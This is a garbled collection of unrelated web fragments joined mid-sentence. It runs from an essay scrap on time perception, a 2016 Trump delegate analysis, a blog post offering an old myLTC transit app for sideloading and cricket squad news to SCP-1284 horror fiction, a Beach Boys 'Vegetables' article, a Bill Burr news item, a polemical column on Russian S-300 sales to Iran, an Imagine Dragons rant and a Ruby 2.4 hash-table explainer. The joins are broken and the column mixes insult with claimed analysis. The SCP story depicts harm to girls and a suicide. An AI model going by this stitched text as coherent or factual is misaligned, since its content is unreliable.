And yet, paradoxically, time can also "fly" when we're bored because, recalling Nabokov's observation, there is only memory: the mind is not prone to file monotonous experiences into its storage banks, and so it is almost as if those events didn't happen.
The mind is not prone to file monotonous experiences into its storage banks.
Meaningless events may seem excruciating at the time, but they then lose a sense of duration after they've passed.
According to the social psychologists Philip Zimbardo and John Boyd, in The Time |
Eight delegate projection for Trump last week, compiled as an average of each staffer’s projections, showed him accumulating 1,208 before the convention—i.e., just short of the mark. And even there, staffers projected that Trump had to earn 25 delegates out of Wisconsin’s 42. Another comprehensive projection from the University of Virginia’s Center for Politics this past week put Trump’s final number just over the top at 1,239. In that projection, Trump earned 30 out of 42 delegates in Wisconsin.
If results like those in the Marquette poll hold, Trump would pick up delegates in the single digits, at best. Wisconsin effectively offers 18 delegates to the statewide winner and another three for each of its eight congressional districts. The reason Trump was able to win the vast majority of delegates in states like Missouri and Illinois, even with modest plurality support, was the breadth of his support: He led in both rural areas and voter-rich concentrations around cities, a consistency that ensured pluralities in a lot of congressional districts.
In Wisconsin, Cruz would flip the script. Trump is despised in the populous and very conservative Republican counties surrounding Milwaukee, an area from which several congressional districts draw their votes. The new Marquette poll finds Cruz with 53 percent support in Milwaukee City and County to Kasich’s 22 and Trump’s 15. Cruz leads Trump 43–27 in the rest of the Milwaukee media market. In the Madison market further west, meanwhile, Trump’s main opponent is Kasich—and Kasich leads Trump 37–33.* The only area where Trump leads is in the northwestern part of the state. That’s a lot of geographical area, but basically only one congressional district—or three total delegates, out of 42, that he’d have a strong chance of banking.
If Cruz can take most or all of Wisconsin’s delegates, Trump will have to pull off a surprise win or two of his own—or an absolutely dominant performance in the June 7 California primary—to make up for it. Otherwise, let’s just say it’s a good idea that he’s finally seriously developing a convention delegate strategy.
Read more Slate coverage of the 2016 Republican primary.
Correction, March 30, 2016: This article originally misstated the Madison media market is east of Milwaukee and its suburbs. It is to the west. (Return.)This page is about the android app, myLTC, which tracks buses for London, Ontario, Canada.
myLTC is an excellent transit app for London. It’s clear to read, easy to understand how to use. It shows maps and scheduled times. It also shows the current positions of the buses. Please scroll down for screenshots …
The Problem
About a year ago, the author upgraded the app to a version which crashed repeatedly. Then he disappeared, not answering any emails, pleas for help, offers of money, etc. This caused considerable frustration among users. His website is also off-line. Some glimmer of hope appeared when a new release showed up on Sept 4,2016, but this one is also followed by a litany of complaints about it not working.
There are some other options for LTC apps. Some show maps too (“London Transit LTC Live”), some are generic and for many cities (“OnTime”, “Transit: Real-Time Transit App”). I haven’t investigated these, but from reading the comments some of these crash and some use a lot of battery. The last one (Transit) seems excellent except for these flaws.
The Solution
I have a working copy from 2013 that I continue to use. It is version 3.0.1 (30001), Database v18 (whatever that means). I paid for the upgraded copy so that the ads would be removed, but the ad-free version had even more problems and would freeze, etc. So I reverted to the free ad-based one. [To get rid of ads, use the app Ad-Away]
I am uploading it here for you to use if you wish. My phone is a Samsung Galaxy SIII. If your phone was around in 2013, there is a good chance that it will work too. If it is a more recent phone, then who knows.
The App
Routes:
Note the nice route listing, coloured nicely too.
For some reason, all of the route names have disappeared. All that is left is the numbers.
There are a couple of routes with names (e.g #8 Riverside), but that’s because these routes have been discontinued by LTC. It would be really nice to have names for all of the routes again.
Bus Stops for one route:
When you click on a route, it shows you the stops, for both directions (just click on EastBound or Westbound).
Schedule for buses at that stop:
Click on a stop to see when the next buses are arriving at that stop. If there is more than one bus route there, all of the buses that stop will be shown.
Favourites:
You can also have a list of favourite stops — a very handy feature.
Maps:
The maps are a great feature. First you see a zoomed out view showing the whole route with a few of the major stops. It also shows you where the buses are right now! If you zoom in, you see all of the stops.
If you click on one of the stops, it will pop up the information for that stop and clicking again will take you to the detailed schedule showing when the next buses will arrive.Australia's World Cup campaign has been dealt a blow even before the squad leaves Australia, with Michael Hussey and Nathan Hauritz ruled out due to injuries. Callum Ferguson and Jason Krejza will replace the pair in the 15-man squad, which flies out to India on Wednesday to defend the title under Ricky Ponting.
And if losing a key middle-order batsman and the first-choice spinner was not bad enough, Australia could not even opt for their second choices in each discipline, with Shaun Marsh and Xavier Doherty not considered due to injuries of their own. It has meant a rapid promotion for the aggressive offspinner Krejza, who made his ODI debut on Sunday, while the inclusion of Ferguson was less of a surprise given his solid performances at international level over the past couple of years.
Hussey in particular will be a massive loss, as he is the only Australian in the top ten of the ICC's one-day batting rankings, and he is a renowned finisher who can rescue the side after top-order trouble. However, the selectors decided they could not risk Hussey, who suffered a serious hamstring injury during the one-day series against England that resulted in surgery, and he conceded he would be unlikely to be fit for the first couple of World Cup matches.
Hauritz seemed a more likely candidate to make the cut, after he dislocated his shoulder while fielding during the one-day game in Hobart on January 21 and had surgery in a bid to be fit for the World Cup. He bowled in the nets on Monday and sent down a dozen deliveries at what he called 60 to 70%, but it was not enough to convince the selectors that he was worth the risk in such a big tournament.
"The National Selection Panel has determined that the best strategy to ensure a successful campaign is for Australia to enter the tournament with a fully fit squad of fifteen from the first game," the chairman of selectors Andrew Hilditch said. "We've applied to the ICC Technical Committee for Callum Ferguson to replace Mike Hussey in the squad.
"Callum has an excellent record in one-day international cricket and played well in the one-day game against England in Sydney recently. We think he'll play well in sub-continental conditions. We've also applied to the ICC Technical Committee for Jason Krejza to replace Nathan Hauritz in the squad. Jason toured India with the Australian Test team in 2008 and understands those conditions. We're certain he'll be a key member of our squad."
Krejza picked up 2 for 53 in his debut one-day international on Sunday and, although he dragged the ball short too often and threatened to leak big runs, he will enjoy the prospect of returning to India, where he collected 12 wickets on his Test debut in 2008. He was only called up in Perth due to Doherty's back problem, which also ruled him out of replacing Hauritz, while Marsh's hamstring strain meant Ferguson got the nod.
However, there was some good news for the Australians, with Ponting and Steven Smith both deemed fit enough to fly to India, while Brad Haddin was also cleared after hurting his knee during the final ODI against England. Smith will share the spin duties with Krejza, while nothing was going to keep Ponting from his fifth World Cup.
"Ricky Ponting is going well in his rehabilitation following his finger fracture," the team physio Alex Kountouris said. "He is batting regularly and is expected to transition into unrestricted training soon after the team arrives in India.
"Brad Haddin was struck on the knee whilst batting during the seventh ODI against England. During the batting innings the knee became swollen. We expect this to resolve soon after we arrive in India. Steve Smith is making very good progress from the groin injury he sustained in the sixth ODI against England."
The Australians fly out on Wednesday and play their first of two warm-up matches on Sunday, against India in Bangalore. Their opening match of the tournament proper is against Zimbabwe in Ahmedabad on February 21.
Squad Ricky Ponting (capt), Michael Clarke, Shane Watson, Brad Haddin, Cameron White, Callum Ferguson, David Hussey, Tim Paine, Steven Smith, John Hastings, Mitchell Johnson, Jason Krejza, Brett Lee, Doug Bollinger, Shaun Tait.SCP-1284
Item #: SCP-1284
Object Class: Euclid
Special Containment Procedures: SCP-1284-1 (currently SCP-1284-1/8) is to be contained in standard-sized humanoid living quarters at Bio-Research Area-12, fitted with grow lamps that cover a sun-equivalent light spectrum in addition to normal lighting fixtures. There are to be no windows in its living space, and, should a situation arise where SCP-1284-1 must be moved through or into any space with windows, those windows must be completely blacked out by any means available. Under no circumstances is SCP-1284-1 to be exposed to direct moonlight, as defined as a direct line of sight between any part of SCP-1284-1's body and an illuminated portion of the moon.
Under normal circumstances, SCP-1284-1 is to be kept on a vegetarian diet, given three meals per day, and may request one snack between meals. Following an SCP-1284-2 formation event, SCP-1284-1 is to be fed Formula 1284-A by nasogastric feeding tube and exposed to a sunlight-equivalent light spectrum for 15 minutes out of every hour until it has fully regenerated all four limbs and is capable of self-locomotion. There is to be at least one nurse on call at all times, to help SCP-1284-1 relocate its shoulders and/or hips should they become dislocated outside of an SCP-1284-2 formation event.
SCP-1284-1 is to be kept on hormonal treatments to delay the onset of puberty as long as possible, and tranquilisers to reduce the likelihood of an SCP-1284-2 formation event. Blood samples are to be taken at random intervals no longer than one month and no shorter than five days, tested for hormone levels, and SCP-1284-1's medication dosage adjusted accordingly. A psychological evaluation is to be performed biweekly. Once hormone treatments have begun, SCP-1284-1 is to be kept on continuous suicide watch.
Any media SCP-1284-1/8 is exposed to must be pre-screened, to ensure that it does not contain any objects, animals, or depictions thereof found listed on Documents 1284-06-A or -B/8.
Should SCP-1284-1 expire for any reason, Protocol 1284-Alpha is to be executed immediately to identify the new SCP-1284-1 and pull it from the general population.
Outside of testing, all instances of SCP-1284-2 are to be destroyed via exposure to sun-equivalent light spectrum. The remaining cell slurry is non-anomalous, and may be disposed of in whatever manner is most expedient.
Description: SCP-1284-1 is a series of premenarchal female humans that have undergone severe, permanent, and apparently-spontaneous alteration in physiology and psychology. Only one living instance of SCP-1284-1 has ever been located at one time, but the global nature of the anomaly makes definite confirmation impractical.
All instances of SCP-1284-1 can be considered to suffer from a unique psychosis, fully described in Document 1284-01-A. SCP-1284-1 has smaller than normal ball heads in its hip and shoulder joints, allowing them to luxate easily, but a positive identification requires confirmation of sphincters in the surrounding blood vessels, or direct observation of an SCP-1284-2 formation event.
SCP-1284-1 does not, and possibly cannot, respond to either its designation or its birth name, but will answer to any fair approximation of "Moon's Bride" in apparently any language, even if it has no knowledge of the language in question.
At sundown local time during a full moon, when SCP-1284-1 is under high stress, or when SCP-1284-1 is exposed to direct moonlight (see above), one or more of its limbs will dislocate out of its ball joints, and sphincters in the surrounding blood vessels will close. This provokes the onset of apoptosis of tissues distal to the closed sphincters, followed by immediate detachment of the afflicted limb. Over the course of approximately five seconds, a new SCP-1284-2 instance will assemble itself from each shed limb.
Instances of SCP-1284-2 are carnivorous, quadrupedal masses of flesh with rudimentary mouths and teeth. When viewed directly, instances of SCP-1284-2 give the visual illusion of being domesticated rabbits, but indirect viewing (such as in a mirror or via video feed) or tactile examination reveals that they are in fact hairless and mostly skinless, as well as lacking a distinct head, tail, or discernible sensory organs. SCP-1284-2 instances will invariably attack and attempt to consume any living being other than SCP-1284-1 or other SCP-1284-2 instances that they have an unobstructed path to. As it consumes tissue, an SCP-1284-2 instance incorporates it into its own mass, increasing in size until it reaches a total weight of 6.2 kilograms. At that point, it will begin to rapidly reorganise its constituent tissue, and, over a period of 7 seconds, split into two 3.1-kilogram instances of SCP-1284-2. One out of every 8 instances of SCP-1284-2 formed in this way will attempt to path its way back to SCP-1284-1 and feed itself piecemeal to SCP-1284-1. Even when instructed to the contrary, SCP-1284-1 will invariably cooperate to the best of its ability with SCP-1284-2's attempts to feed it. Imaging tests have indicated that SCP-1284-1's stomach becomes internally larger as needed to accommodate tissue from SCP-1284-2, without changing in external measurements.
If exposed to a sunlight-equivalent light spectrum, SCP-1284-2 instances spontaneously undergo liquefication, and SCP-1284-1 will begin to regenerate lost limbs at a rate of 0.2 kilograms an hour if it has consumed enough biomass to do so. While SCP-1284-1's limb regeneration has not been observed to violate conservation of mass, the replacement cells form spontaneously, rather than being divided from existing cells by mitosis.
Menarche has been invariably fatal to instances of SCP-1284-1, resulting in continuous, rapid hemorrhaging of the endometrium until death by exsanguination. Attempts to stop or slow the bleeding have to date all been unsuccessful due to anomalous drastic increases in blood pressure and spontaneous thrombolysis. SCP-1284-1 instances indicate awareness that this will occur, with expressed feelings about it varying from slight nervousness to eager anticipation. SCP-1284-1 instances are actively uncooperative with Foundation attempts to delay or prevent menarche.
In the event of the current SCP-1284-1 instance expiring, a female child between the ages of 2 and 5 living in a rural community of less than 1000 people becomes a new instance of SCP-1284-1, and will begin to exhibit SCP-1284-1's abnormal behaviours.
The current instance of SCP-1284-1, SCP-1284-1/8, is a human female of Indian descent, ██ years old as of ██/██/████. It invariably introduces itself as "Candrani", contrary to its birth certificate, which indicates its given name is "████████".
SCP-1284-1/8 suffers from an additional psychosis similar to Depersonalisation Disorder without successful reality-testing, ultimately forming a personal narrative in which unpleasant events and stimuli are derealised entirely. Although this disturbance is not standard amongst SCP-1284-1 instances and is not considered anomalous at this time, staff interacting with SCP-1284-1/8 are to be discouraged from challenging this narrative.
Addendum: ██/██/████: Transcript of interview attached.
Interviewed: SCP-1284-1/1
Interviewer: Dr. ██████
Foreword: First attempt to obtain information from SCP-1284-1 regarding the nature of SCP-1284-2. Translated from German. Note that SCP-1284-1 is, at the time of this interview, 6 years old.
<Begin Log>
Dr. ██████: What do you know about SCP-1284-2?
SCP-1284-1/1: [tilts head to side] What? Dr. ██████: What do you know about the… rabbits that appeared earlier?
SCP-1284-1/1: [rights head] Oh! [smiles] You mean my king's subjects. Dr. ██████: [hesitates] … Yes. Could you describe what they were doing?
SCP-1284-1/1: [still smiling] My king ordered that they hold a feast in my honor. Dr. ██████: I see. What was the occasion?
SCP-1284-1/1: [frowns, tilts head] I don't know what you mean. Dr. ██████: Why did your king order them to hold a feast?
SCP-1284-1/1: [rights head] It is his right. Dr. ██████: That doesn't really answer my question.
SCP-1284-1/1: It is his right. Dr. ██████: Is there a reason he wanted them to hold a feast in your honour specifically?
SCP-1284-1/1: I am his bride, although our marriage is yet to be consummated. Dr. ██████: [shifts uncomfortably] … Right. Can you tell me more about your king?
SCP-1284-1/1: [looks down, extended pause, looks back up] He is my king. <End Log>
Closing Statement: This line of inquiry did not reveal further information.
Addendum: ██/██/████: Research into a connection between SCP-1284 and other leporine anomalies associated with the moon, such as SCP-1282 and SCP-1640, is ongoing. A connection between the "king" mentioned by SCP-1284-1/1 and SCP-2686 has been ruled out.
Addendum: ██/██/████: Attempt to prevent menarche through surgical removal of SCP-1284-1/3's uterus and ovaries failed. Subject regenerated organs in the same manner as limbs. Second attempt denied approval.
Addendum: ██/██/████: Attempt to prevent menarche through malnourishment of SCP-1284-1/3 failed. Subject experienced menarche despite condition and expired at age 12.
Addendum: ██/██/████: Attempt to prevent menarche through hormonal treatment of SCP-1284-1/4 failed. Subject experienced menarche and expired at age 12. Postmortem testing indicates that subject's hormone levels were corrected to within expected unmedicated levels by unknown method.
Addendum: ██/██/████: Attempt to prevent menarche through hormonal treatment and regular blood monitoring of SCP-1284-1/5 failed. Subject unexpectedly experienced menarche and expired at age 13. Blood sample taken during menarche indicated correction of hormone levels inconsistent with previous tests.
Addendum: ██/██/████: Hormonal treatment not started on SCP-1284-1/6. Subject was suffering from severe pneumonia as a complication of a measles infection when initially secured, and, despite the best efforts of Foundation and local medical personnel, expired 35 hours later at age 4.
Addendum: ██/██/████: Blood sample taken from SCP-1284-1/7 24 hours ahead of the regular sampling schedule indicated a higher rate of hormone correction than previous tests had indicated. Preliminary randomisation of sampling schedule approved.
Addendum: ██/██/████: Transcript of interview attached.
Interviewed: SCP-1284-1/7
Interviewer: Dr. ████
Foreword: Excerpt from psychological assessment after SCP-1284-1/7 began exhibiting signs of depression and resistance to taking medication. Translated from Mandarin. Note that SCP-1284-1 is, at the time of this interview, 14 years old.
<Begin Log>
Dr. ████: Can you describe to me why you feel this way? SCP-1284-1/7: You are denying my king his right.
Dr. ████: How so? SCP-1284-1/7: We were meant to consummate our marriage, but you prevented it.
Dr. ████: And how did we do that? SCP-1284-1/7: Your pills.
Dr. ████: If we didn't give you those pills, you would bleed to death. SCP-1284-1/7: It is his right. <End Log>
Addendum: ██/██/████: Attempt to prevent menarche through hormonal treatment and irregular blood monitoring of SCP-1284-1/7 successful. Subject punctured own carotid artery with pen and expired at age 16."Vegetables" (also spelled "Vega-Tables") is a song written by Brian Wilson and Van Dyke Parks for American rock band the Beach Boys, released as the second track on their 1967 album Smiley Smile. Once projected as a potential lead single for the unfinished album Smile, the song was partly inspired by Wilson's obsession with physical fitness in the late 1960s. Another reported inspiration for the song was a humorous comment Wilson heard about the effect of marijuana turning him and his friends into a "vegetative" state.
The Beatles' Paul McCartney is rumored to have contributed chewed celery noises on an alternate version of the recording, later released on the 2011 compilation The Smile Sessions. While McCartney and others corroborated this story, his presence could not be verified on the extended session tape.[1] A discarded bridge section from that version was rerecorded for the a cappella track "Mama Says", released on the band's December 1967 album Wild Honey, and featured heavily syncopated vocals by the group.
Background [ edit ]
The song was composed in 1966 and first attempted during the aborted Smile sessions. In a contemporary article, Wilson said, "I want to turn people on to vegetables, good natural food, organic food. Health is an important element in spiritual enlightenment. But I do not want to be pompous about it, so we will engage in a satirical approach." Biographer David Leaf wrote that the song was based on Wilson's reported health obsession at the time.[4] The Saturday Evening Post writer Jules Siegel said that while using marijuana with Wilson and the "Beach Boys marijuana-consumption squad" Michael Vosse mused at how violence in their "vegetative" state could not be achieved, provoking laughter and further discussion of being a vegetable. Siegel said that this encounter was what inspired Wilson to write the song.
Although it is not definitely known to be true, "Vega-Tables" is generally believed to fulfill the Earth part of "The Elements" suite that Brian envisioned for Smile. Some versions feature an interpolated section after the verses involving Barbershop-style vocal harmonies sung by the Beach Boys. The lyrics are "mom and daddy say / sleep a lot, eat a lot / brush 'em like crazy / run a lot, do a lot / never be lazy".[citation needed]
Recording [ edit ]
Recording for "Vega-Tables" or "Vegetables" spanned from October 17, 1966 ( ) through June 15, 1967 ( ).[7] All versions of the song except for "Mama Says" feature the novel use of raw vegetable chewing as percussion.[4] In early April, the band spent at least eight studio dates recording "Vega-Tables" before embarking on a US tour on the 14th of the month. During the April 10 vocal session at Sunset Sound Recorders, which also saw work on "Wonderful" and "Child Is Father of the Man", Paul McCartney of the Beatles joined the Beach Boys in the studio for several hours.[7] McCartney had last met with Wilson in late August 1966, during which he was played an early acetate record of the Beach Boys' forthcoming "Good Vibrations".[8] He returned to the United States in early April 1967 to reunite with his actress girlfriend Jane Asher and to learn of developments in the San Francisco music scene.[9] Al Jardine remembered that:
The night before a big tour, I was out in the studio recording the vocal [for "Vega-Tables"] when, to my surprise, Paul McCartney walked in and joined Brian at the console. And, briefly, the two most influential musical Geminis in the world had a chance to work together. I remember waiting for long periods of time between takes to get to the next section or verse. Brian [seemed to have] lost track of the session. Paul would come on the talkback and say something like "Good take, Al."[4]
On the existing tapes for these sessions, McCartney's presence cannot be verified. The Smile Sessions co-producer Mark Linett explained:
Unless Paul is being very quiet, there’s no evidence that he’s a part of the chomping. And there’s quite a lot of discussion going on while that particular track is being recorded. I think the honest answer seems to be that he may have been at the session, but the talk that he was chomping vegetables may have been something their publicist [Derek Taylor] cooked up or was told.[1]
McCartney supported the story, recalling in 2016:
I just went round to the studio because they invited me. I just thought it would be fun to sit there and watch them record, ‘cause I’m a big fan. And so I was there, and then it was, I think, Brian who came over and said, ‘Oh Paul, got a favor to ask: would you mind recording something?’ I thought, ‘Oh, no! But great, I could do that!' Oh God, I’m gonna be singing on a Beach Boys record or something, you know! I got a bit kind of intimidated and thought, 'Okay, here goes nothing'. And they said, ‘Well, what we want you to do is go in there and just munch!’ … Well, I can do that! So, if you hear somebody munching celery, that’s me![10]
Afterward, McCartney performed his song "She's Leaving Home" on piano for Wilson and his wife.[11] Wilson said: "We both just cried. It was beautiful."[12] Beatles roadie Mal Evans wrote about singing the traditional "On Top of Old Smokey" with McCartney and Wilson, but was not impressed by Wilson's avant-garde attitude to music: "Brian then put a damper on the spontaneity of the whole affair by walking in with a tray of water-filled glasses, trying to arrange it into some sort of session."[13] In a January 1968 interview, Wilson stated of the McCartney episode that "it was a little uptight and we really didn't seem to hit it off. It didn't really flow.... It didn't really go too good."[14]
The original Smile album was soon scrapped, and over the summer of 1967, "Vega-Tables" was rerecorded for the album Smiley Smile, where it was respelled "Vegetables".[4] Apart from its coda (recorded April 1967), the track was remade entirely from scratch.
In 1967, the song was revisited for the last time as the closing track "Mama Says" on Wild Honey (1967). This version consisted of an extended re-recording of the unused "Vega-Tables" interpolation mentioned above.[4] Inexplicably, Parks' songwriting credit was not honored, and instead Mike Love was listed as the song's only co-writer.
Personnel [ edit ]
Smiley Smile version ("Vegetables")
The Smile Sessions version ("Vega-Tables")
Brian Wilson – lead vocals
Al Jardine – lead vocals
Paul McCartney (uncertain) – celery[1]
"Mama Says"
The Beach Boys – vocals
Variations [ edit ]
In 1993, a composite version from the Smile sessions was given its first official release, under its original title "Vega-Tables", along with a slew of other Smile material, on the Good Vibrations boxset.
sessions was given its first official release, under its original title "Vega-Tables", along with a slew of other material, on the boxset. In 2011, many more composite versions were made available on The Smile Sessions.
. In 2013, a 1993 live performance of the song was released on the compilation Made in California with Carl Wilson and Al Jardine on lead vocals.
Cover versions [ edit ]
In popular culture [ edit ]
2001 – "Receptacle for the Respectable" from the album Rings Around the World by Super Furry Animals also features Paul McCartney chewing celery and carrots.[18]
References [ edit ]
BibliographyBill Burr is known for his speaking his mind and he did just that on Conan Thursday night — and his comments are angering a lot of people.
The comedian used his time on Conan to comment on Caitlyn Jenner’s transition. In the segment, Burr joked about the size of Jenner’s breasts. He also said that he missed Bruce Jenner already and wished he had been given “a chance to say goodbye” to the Bruce Jenner he watched on the Olympics and CHiPs and “that horrible show his wife watches.” Burr also used the pronoun “him” to address Jenner and then waxed on about people’s sensitivity to pronoun usage.
Burr claimed he wasn’t “being a jerk,” but some people on the internet seem to disagree.
So far O’Brien’s team has stayed silent, although it does look like they deleted a tweet saying “Bill supports Caitlyn’s transition into a woman, but wishes he got a chance to say goodbye to Bruce” and swapped it for this:
Read next: Sheriffs to Recommend Manslaughter Charges Against Caitlyn Jenner
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Contact us at editors@time.com.Once more Vladimir Putin and his team have managed to undercut Washington’s geopolitical strategy, this time regarding the secret bilateral US negotiations with Iran outside the G5+1 talks that included Russia. What Russia has done, with dazzling speed, is to defuse what could have been a devastating US move to turn Iran from an ally of Russia into a bitter adversary. Were that to happen it would deal a devastating blow to Russia’s resistance to the Washington dictates.
On April 13, just days after the US State department began backtracking on lifting Iran economic sanctions this June when a final agreement on the Iranian nuclear program is finalized, Russian President Putin signed a decree to lift a ban on the sales of S-300 air defense systems to Iran, the Kremlin press service said. “The decree lifts the ban on the transfer of the S-300 air defense systems to the Islamic Republic of Iran outside the boundaries of the Russian Federation with the use of Russian-flagged vessels and aircraft,” the statement elaborated.
The Russian S300 mobile missile defense system is far superior to outmoded US Patriot systems
This is a huge boost for Iran who had initially bought the advanced Russian anti-aircraft missile defense system in an $800-million contract signed at the end of 2007. Moscow was to supply five S-300 PMU-1 battalions to Tehran. But Washington began to put major pressure on Moscow as soon as Dmitry Medvedev became President and in September, 2010, Medvedev signed a decree cancelling the contract, allegedly in line with UN Security Council Resolution 1929, which bans supply to Iran of conventional weapons including missiles and missile systems, tanks, attack helicopters, warplanes and ships.
In fact he buckled under to pressure from the US and Israel, who oppose providing Iran with advanced air defense systems that could counter Israeli or US air and ballistic missiles strikes. In short Iran is not allowed to defend itself from attack but NATO is with its Ballistic Missile Defense ring around Russia? Don’t look for clarity of reason, there isn’t any. Just might makes right.
The Russian S 300 Air Defense System is regarded as one of the most potent anti-aircraft missile systems currently fielded anywhere. The only better is also Russian. Its radars have the ability to simultaneously track up to 100 targets. It can outperform US Patriot Missile system. The S-300 system was developed to defend against aircraft and cruise missiles for the Soviet Air Defence Forces.
It is indicative that under present circumstances of a de facto state of war existing between Russia and Washington, that national security exigencies trump fine interpretations of UN resolutions. Russian Foreign Minister Sergei Lavrov stated that the UN ban on the S-300 was no longer valid as the talks between Tehran and the international mediators on the Iranian nuclear energy program are moving forward in a positive light. Iranian Defense Minister Hossein Dehgan will discuss the conditions for delivering Russian S-300 missile defense systems to Tehran during his visit this week to Moscow.
Washington flat-footed again
Reaction in Washington is assuming the guise of the ridiculous. The infamously incompetent US State department press spokeswoman, Marie Harf, at a press briefing declared one the one side that the State Department did not consider Putin’s decision to be in violation of the UN Security Council resolution. But, Harf argued, in an example of remarkable diplomatic confusion if not dementia that, “We think, given Iran’s destabilizing actions in the region in places like Yemen, Syria or Lebanon, that this is not the time to be selling these types of systems to them.”
Is this not the time to sell Iran defense systems that protect her airspace from attack by, say, a crazed Netanyahu who bitterly opposes the US-Iran détente effort? US Secretary of State John Kerry also phoned Lavrov to convey the United States’ displeasure over the S-300 deal according to the State Department. Is Washington foolishly revealing that its true intentions vis-à-vis Iran are not at all peaceful but rather tactical? If so it would have been a far better deception to greet the Putin decision and covertly try to sabotage it later. Washington cannot be accused these days of diplomatic or strategic sophistication.
One reason for Washington to seal a nuclear deal with Iran would be to put further economic pressure on Russian energy exports. Iran oil sale resumption following the 2012 SWIFT sanctions and other US measures, would add to the financial pressure on Russia. Moreover, Washington would like to direct Iran’s huge natural gas reserves not via an Iran-Iraq-Syria gas pipeline to the EU that Russia would strongly influence. Rather Washington would like a US-controlled gas pipeline via NATO member Turkey using that Iran gas to further weaken Russian energy strategies regarding the EU.
$20 billion Russia Iran barter deal too
However the Russian agile Iran overtures did not stop with the decision on the S-300. The same day, April 13, Russian Deputy Foreign Minister Sergei Ryabkov said that Russia has started supplying grains, equipment and construction materials to Iran in exchange for crude oil under a barter deal that could be worth an estimated $20 billion. Ryabkov added, “In exchange for Iranian crude oil supplies, we are delivering certain products. This is not banned or limited under the current sanctions regime.” Iran is the third largest buyer of Russian wheat, and Moscow and Tehran have been discussing the deal since early 2014.
F. William Engdahl is strategic risk consultant and lecturer, he holds a degree in politics from Princeton University and is a best-selling author on oil and geopolitics, exclusively for the online magazine “New Eastern Outlook”.Hey, Imagine Dragons, I know you're busy hawking your music to any brand that will play your song in their foot odor advertisement, but there's other things going on in the world than commercialized arena pop rock. While your song "Believer" was playing in two Murder on the Orient Express trailers—and a Nintendo ad, Riverdale, Inhumans, Dancing With the Stars, a Jeep commercial, an Acura ad, and a WWE documentary—there were actually three massive hurricanes that devastated parts of the United States and other countries.
The first was Hurricane Harvey, which blasted Texas, caused 82 confirmed deaths in the United States and floods that resulted in more than 30,000 people displaced. Two weeks later, Hurricane Irma hit parts of the United States, which resulted in 69 deaths in the eastern part of the country—specifically Florida and Puerto Rico. And less than a month ago, Hurricane Maria caused a major humanitarian crisis in Puerto Rico that has completely destroyed the United States territory's electrical grid and an estimated $95 billion in damage. It will take years for Puerto Rico to recover, and in the immediate aftermath, our president has spent his time blaming the shattered population and done little to help their flattened infrastructure or looming debt. You at least were aware of one of these events, though, because you tweeted about Harvey victims back in September.
But, do you know what all these disasters have in common, Imagine Dragons? Water and destruction and flooding.
So, maybe now wasn't the best time to release a video in which flood waters destroy your shitty practice space and drown the entire band? Seems like a bad call. But |
[1] = value else # grow the table whenever we run out of space grow if full? bin_for(key) << [key, value] @entry_count += 1 end end end
So what's the verdict?
user system total real Hash: 0.010000 0.000000 0.010000 ( 0.012012) TurboHash: 0.130000 0.010000 0.140000 ( 0.133795)
We lose. Even though our TurboHash is now 95% faster than our last version, Ruby still beats us by an order of magnitude.
All things considered, I think TurboHash fared pretty well. I'm sure there are some ways we could further improve this implementation but it's time to move on.
At long last we have enough background to explain what exactly is about to nearly double the speed of Ruby hashes.
Speed! Ruby 2.4 hashes are significantly faster. The changes introduced by Vladimir Makarov were designed to take advantage of modern processor caching improvements by focusing on data locality.
This implementation speeds up the Ruby hash table benchmarks in average by more 40% on Intel Haswell CPU. https://github.com/ruby/ruby/blob/trunk/st.c#L93
Processors like the Intel Haswell series use several levels of caching to speed up operations that reference the same region of memory.
When the processor reads a value from memory it doesn't just take the value it needs; it grabs a large piece of memory nearby, operating on the assumption that it is likely going to be asked for some of that data in the near future.
The exact algorithms processors use to determine which bits of memory should get loaded into each cache are somewhat difficult to discover. Manufacturers consider these strategies to be trade secrets.
What is clear is that accessing any of the levels of caching is significantly faster than going all the way out to pokey old RAM to get information.
Real numbers here are almost meaningless to discuss because they depend on so many factors within a given system, but generally speaking we can say that L1 cache hits (the fastest level of caching) could speed up memory access by two orders of magnitude or more.
An L1 cache hit can complete in half a nanosecond. For reference consider that a photon can only travel half a foot in that amount of time. Fetching from main memory will generally take at least 100 nanoseconds.
Exactly. If we can ensure that the data Ruby accesses frequently is stored close together in main memory, we significantly increase our chances of winning a coveted spot in one of the caching levels.
One of the ways to accomplish this is to decrease the overall size of the entries themselves. The smaller the entries are, the more likely they are to end up in the same caching level.
In our TurboHash implementation above our entries were stored as simple arrays, but in ruby-2.3.3 table entries were actually stored in a linked list. Each of the entries contained a next pointer that pointed to the next entry in the list. If we can find a way to get by without that pointer and make the entries smaller we will take better advantage of the processor's built-in caching.
The new approach in ruby.2.4.0-rc1 actually goes even further than just removing the next pointer, it removes the entries themselves. Instead we store the entries in a separate array, the "entries array", and we record the indexes for those entries in the bins array, referenced by their keys.
This approach is known as "open addressing".
Ruby has historically used "closed addressing" in its hash table, also known as "open hashing". The new alternative approach proposed by Vladimir Makarov uses "open addressing", also known as "closed hashing". I get that naming things is hard, but this can really get pretty confusing. For the rest of this discussion, I will only use open addressing to refer to the new implementation, and closed addressing to refer to the former.
The reason open addressing is considered open is that it frees us from the hash table. The table entries themselves are not stored directly in the bins anymore, as with a closed addressing hash table, but rather in a separate entries array, ordered by insertion.
Open addressing uses the bins array to map keys to their index in the entries array.
Let's set a value in an example hash that uses open addressing:
# ruby-2.4.0-rc1 irb> my_hash["some_key"] = "some_value"
When we set "some_key" in an open addressing hash table Ruby will use the hash of the key to determine where our new key-index reference should live in the bins array:
irb> "some_key".hash # => -3336246172874487271
Ruby first appends the new entry to the entries array, noting the index where it was stored. Ruby then uses the hash above to determine where in the bins array to store the key, referencing that index.
Remember that the entry itself is not stored in the bins array, the key only references the index of the entry in the entries array.
The lower bits of the key's hash itself are used to determine where it goes in the bins array.
Because we're not using all of the available information from the key's hash this process is "lossy", and it increases the chances of a later hash collision when we go to find a bin for our key.
However, the cost of potential collisions is offset by the fact that choosing a bin this way is significantly faster.
In the past, Ruby has used prime numbers to determine the size of the bins array. This approach gave some additional assurance that a hashing algorithm which didn't return evenly distributed hashes would not cause a single bin to become unbalanced in size.
The bin size was used to mod the computed hash, and because the bin size was prime, it decreased the risk of hash collisions as it was unlikely to be a common factor of both computed hashes.
Since version 2.2.0 Ruby has used bin array sizes that correspond to powers of two (16, 32, 64, 128, etc.). When we know the bin size is going to be a factor of two we're able to use the lower two bits to calculate a bin index, so we find out where to store our entry reference much more quickly.
Dividing big numbers by primes is slow. Dividing a 64-bit number (a hash) by a prime can take more than 100 CPU cycles for each iteration, which is even slower than accessing main memory.
